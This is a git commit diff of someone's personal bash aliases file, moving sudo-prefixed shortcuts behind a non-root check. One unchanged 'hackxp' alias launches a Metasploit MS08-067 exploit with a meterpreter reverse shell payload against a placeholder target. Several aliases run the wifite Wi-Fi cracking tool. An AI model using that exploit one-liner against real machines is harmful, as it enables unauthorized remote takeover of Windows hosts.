do not use sudo when not needed

bash/bash_aliases

 alias l="/bin/ls --color"
 alias ll="/bin/ls --color -l"
 alias lla="/bin/ls --color -l -a"
-alias ls="/bin/ls -a --color"
-alias lock="i3lock"
-alias traceroute="traceroute -n"
+alias la="/bin/ls -a --color"
 alias reload="source ~/.bashrc"
 alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
 alias shutserv4="ssh serv4 shutdown -hP 0"
-alias shut="sudo shutdown -h 0"
-alias shutms="shutserv4 && shut"
-alias service="sudo service"
-alias ifconfig="sudo ifconfig"
-alias ip="sudo ip"
-alias killall="sudo killall"
-alias mount="sudo mount"
-alias umount="sudo umount"
-alias apt-get="sudo apt-get"
-alias apt-cache="sudo apt-cache"
-alias de="dhcp eth0"
-alias update-rc.d="sudo update-rc.d"
 alias status="git status"
-alias commit="git commit"
-alias push="git push"
 alias py="ipython3"
-alias usbip="sudo usbip"
-alias modprobe="sudo modprobe"
-alias wifi="sudo rfkill unblock wifi;sudo service wicd start; wicd-curses"
-alias stopwifi="sudo service wicd stop; rfkill block wifi"
-alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
-alias route="sudo route"
 alias bashrc="vim ~/.bashrc; reload"
 alias bashaliases="vim ~/.bash_aliases; reload"
-alias restart="shutdown -r 0"
-alias dd="sudo dd"
-alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
 alias ddstatusc="while :; do ddstatus; sleep 2; done"
-alias reboot="sudo reboot"
-alias teamviewer="service teamviewerd start; teamviewer"
-alias stopteamviewer="service teamviewerd stop"
-alias mounts2="sudo mount /serv2"
-alias umounts2="sudo umount /serv2"
-alias mounts4="sudo mount /serv4"
-alias umounts4="sudo umount /serv4"
-alias cryptsetup="sudo cryptsetup"
-alias crypt="cryptsetup"
-alias arp-scan="sudo arp-scan"
 alias arpe="arp-scan -I eth0"
 alias arpw="arp-scan -I wlan0"
-alias ping="ping -n"
 alias vpnint="service openvpn restart g75-internet"
 alias vpnintstop="service openvpn stop g75-internet"
-alias vpnepi="service openvpn restart rob-1-epimafia-internet"
-alias vpnepistop="service openvpn stop rob-1-epimafia-internet"
-alias vpnbe="service openvpn restart g75-betaclean"
-alias vpnbestop="service openvpn stop g75-betaclean"
 alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
 alias pull="git pull --rebase"
 alias st="git status"
-alias svim="sudo vim"
-alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
 alias u=up
 alias p="ping 8.8.8.8"
-alias pe="ping epigate.epimafia.fr"
 alias telnet='telnet -e ^['
-alias gparted="sudo gparted"
-alias hopper="LD_LIBRARY_PATH=/opt/hopper-v3/ /opt/hopper-v3/Hopper"
 alias reboot-win="grub-reboot 2 && reboot"
 alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
 alias studio="~/tools/android-studio-latest/bin/studio.sh"
 alias update-confs="cd ~/confs && git pull -r && reload"
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
 alias xcopy="xclip -selection clipboard"
-alias ap="rfkill unblock wifi && sudo ap"
-alias nst="sudo netstat -ntpa | grep LISTEN"
-alias nsu="sudo netstat -nupa"
 alias ns=nst
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
 alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
 alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
 alias ssh-socks="ssh -N -D 127.0.0.1:1080"
 alias dc="docker-compose"
+
+if [ "${EUID}" -ne 0 ]
+then
+  alias modprobe="sudo modprobe"
+  alias dd="sudo dd"
+  alias reboot="sudo reboot"
+  alias cryptsetup="sudo cryptsetup"
+  alias arp-scan="sudo arp-scan"
+  alias service="sudo service"
+  alias ifconfig="sudo ifconfig"
+  alias ip="sudo ip"
+  alias route="sudo route"
+  alias killall="sudo killall"
+  alias mount="sudo mount"
+  alias umount="sudo umount"
+  alias apt-get="sudo apt-get"
+  alias apt-cache="sudo apt-cache"
+  alias update-rc.d="sudo update-rc.d"
+  alias gparted="sudo gparted"
+
+  alias svim="sudo vim"
+  alias shut="sudo shutdown -h 0"
+  alias nst="sudo netstat -ntpa | grep LISTEN"
+  alias nsu="sudo netstat -nupa"
+  alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
+  alias ap="rfkill unblock wifi && sudo ap"
+  alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
+  alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
+else
+  alias svim="vim"
+  alias shut="shutdown -h 0"
+  alias nst="netstat -ntpa | grep LISTEN"
+  alias nsu="netstat -nupa"
+  alias ddstatus="pkill --signal USR1 \"^dd$\""
+  alias ap="rfkill unblock wifi && ap"
+  alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb"
+  alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
+fi